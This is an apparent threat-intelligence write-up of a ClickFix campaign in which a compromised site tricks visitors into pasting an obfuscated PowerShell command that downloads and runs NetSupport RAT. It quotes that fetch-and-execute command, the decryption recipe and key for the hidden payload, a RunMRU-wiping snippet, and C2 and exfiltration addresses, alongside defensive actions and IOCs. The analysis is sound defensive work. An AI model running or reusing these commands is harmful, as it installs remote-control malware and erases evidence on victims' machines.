Last Updated: 7/1/2026
What’s Happening
A recent trending post by a Mastodon user caught my attention since I actively track ClickFix campaigns:
BLUF: The website wavesandwild[.]com was compromised with the ClickFix social engineering technique to trick victims into executing malicious commands injected into their clipboard which installs and runs NetSupport RAT, a remote access tool. NetSupport RAT is based on NetSupport Manager, a legitimate tool which is frequently used by bad actors for malicious purposes. NetSupport Manager, used maliciously or otherwise, provides full and complete control over the victim’s device. Once the client has been installed, attackers can access, acquire, and manipulate any data on the device (exfiltrate data, execute additional payloads).
Full Attack Chain:
wavesandwild[.]com (compromised site)
→ POST polygon.publicnode[.]com/polygon.drpc[.]org to perform transaction lookup for next domain: “to”: “0x6300d82A6e2fabbd165E1833d95E87bD46B38D4A”, “data”: “0xe00fe2eb” (aka ‘EtherHiding’)
→ Download and process content on hxxps://sentrydb[.]org/track.php
→ Load victim’s clipboard, display ClickFix splash screen
→ Victim copy and pastes malicious command ‘“C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe” -nop -c "[Diagnostics.Process]::Start(‘powershell’,(&{$tm=’‘;@(’-nop -c ’ -replace ‘[jqvz]’,‘’,‘iex(ir ‘’’ -replace ‘[mvz]’,‘’,feinmotorik.geschenkideen-die-foerdern[.]de/index.htmlmmmm’.Trim(‘m’),‘’‘)’)|%{$tm+=$_};$tm}))"’ to their clipboard
→ powershell downloads and processes feinmotorik.geschenkideen-die-foerdern[.]de/index.html
→ Retrieves feinmotorik.geschenkideen-die-foerdern[.]de/clik.txt
→ Extracts and XOR-decrypts an embedded blob within the PNG file ‘clik.txt’
→ base64-decodes, Installs, and starts NetSupport RAT using embedded configuration files via powershell script block execution.
→ C2 communication established with 216.158.95[.]180:443 or tamweelke[.]com:443 with a fallback option to bcrfix[.]com:443.
→ Host reconnaissance command results (OS, username, date, application name (SecurityHealth), computer name, IP details) get sent to hxxp://172.245.25[.]134:8787/collect, likely for victim prioritization efforts.
One of the more interesting techniques I observed was the malware extracts and decrypts its payload from a PNG file masquerading as ‘clik.txt’. The malware looks for the file marker “CHP1” within the PNG to identify the offset then extracts the XOR key length, the XOR key, encrypted payload length, and finally the encrypted payload itself:
0x6CB4: 43 48 50 31 ; “CHP1”
0x6CB8: 00 10 ; key length = 16
0x6CBA: 9F 84 43 42 … ; XOR key
0x6CCA: 00 48 CF 4B ; encrypted payload length
0x6CD0: 80 0F 4B … ; encrypted payload begins
PNG File structure:
CHIMG
|
±- CHP1
|
±- key length (big-endian)
±- XOR key
±- encrypted payload
Carving out the encrypted blob using a hex editor at the specified “CHP1” offset then XOR-decrypting with the embedded key using the CyberChef recipe “XOR({‘option’:‘Hex’,‘string’:‘9F844342A2CE023BC29CB1A123BEB599’},‘Standard’,false)
Gunzip()” results in the full decrypted payload. The payload is a full deobfuscated powershell script block which base64-decodes and installs the embedded NetSupport RAT, all supporting DLLs, and its config files containing the C2 domains/IP addresses.
Actions
- Monitor your RunMRU registry keys for suspicious entries pertaining to powershell, cmd, etc which may be a sign of ClickFix execution events.
- Monitor for any attempts to clear the RunMRU registry key:
try {
$runMruPath = ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU’
if (Test-Path $runMruPath) {
Remove-ItemProperty -Path $runMruPath -Name * -ErrorAction SilentlyContinue
}
} catch {}
- Track and monitor RPC endpoint calls, especially POST requests. B’ad Samurai has an excellent starting point here: bs-lists/f-crypto.md at main · BadSamuraiDev/bs-lists · GitHub
- Retrohunt and block the IOCs below.
- Monitor all remote management and monitoring tools and block any considered unapproved in your environment. LOLRMM has what you need.
Notes
- Error messages in the final Powershell script block are in Russian.
- The embedded index string is CH-124FF74C (campaign identifier?).
- Each stage was heavily obfuscated, making reverse engineering analysis extremely tedious and time-consuming.
- It attempts to remove all entries from the RunMRU registry key to hide the ClickFix execution evidence.
- Clik.txt is not actually a TXT file but rather a PNG file which contains an embedded malicious blob along with the XOR key to decrypt and run the NetSupport RAT.
- Sekoia calls this IClickFix - Meet IClickFix: a widespread framework using the ClickFix tactic
IOCs
wavesandwild[.]com - Compromised website with ClickFix social engineering technique
polygon.publicnode[.]com - RPC domain lookup
polygon.drpc[.]org - Fallback RPC domain lookup
0x6300d82A6e2fabbd165E1833d95E87bD46B38D4A - wallet address containing the next stage
hxxps://sentrydb[.]org/track.php - Domain retrieved via the RPC lookup which filters victims based on response and if passes checks, delivers the ClickFix command to be pasted into the victim’s clipboard
feinmotorik.geschenkideen-die-foerdern[.]de/index.html - URL in obfuscated ClickFix powershell command
feinmotorik.geschenkideen-die-foerdern[.]de/clik.txt - additional URL contacted containing the PNG file with the embedded, encrypted NetSupport RAT
ip-api[.]com/json/?fields=query,country,city - IP address lookup for victim
hxxp://172.245.25[.]134:8787/collect - Exfiltrated recon data destination stolen from victim’s host
216.158.95[.]180:443 - Gateway address
tamweelke[.]com:443 - Gateway address
bcrfix[.]com:443 - Secondary Gateway address
CH-124FF74C - index string, potential campaign ID?
928ccfc1aed294c58960d22ec011f3a6730c1d35cf8d1d5cc54a408326636d32 - AppExtension.dll
2cc8ebea55c06981625397b04575ed0eaad9bb9f9dc896355c011a62febe49b5 - AudioCapture.dll
5dd04db11145d8272aaa5a045f2b5dbb6143bdde8eb70b817aac590da2e20dd3 - DeviceSetupStatusProvider.dll
8c1959da762b541bf06c706d32c9b3a0d7d36ee592f12f0de6615124607a9f59 - dmocx.dll
29b68bb454600b0abd1aad1f861bd11f28cd6cf9cd39cec53cc3647a05c32928 - falos.ini
39c72667c2cdc25bd0bfd0471401cdac79421a3fbce7ca0d0ca63168de527076 - fdWCN.dll
9a4dab4c4a38ae3aeb39d68cf8469481b3a995a54d7da7945ccf54a22c2d3760 - localui.dll
275e5b085534f64313b50cbdcb08ecd59c57d21c96bb937f140ee92a3d27f792 - SecurityHealth.exe (Netsupport RAT)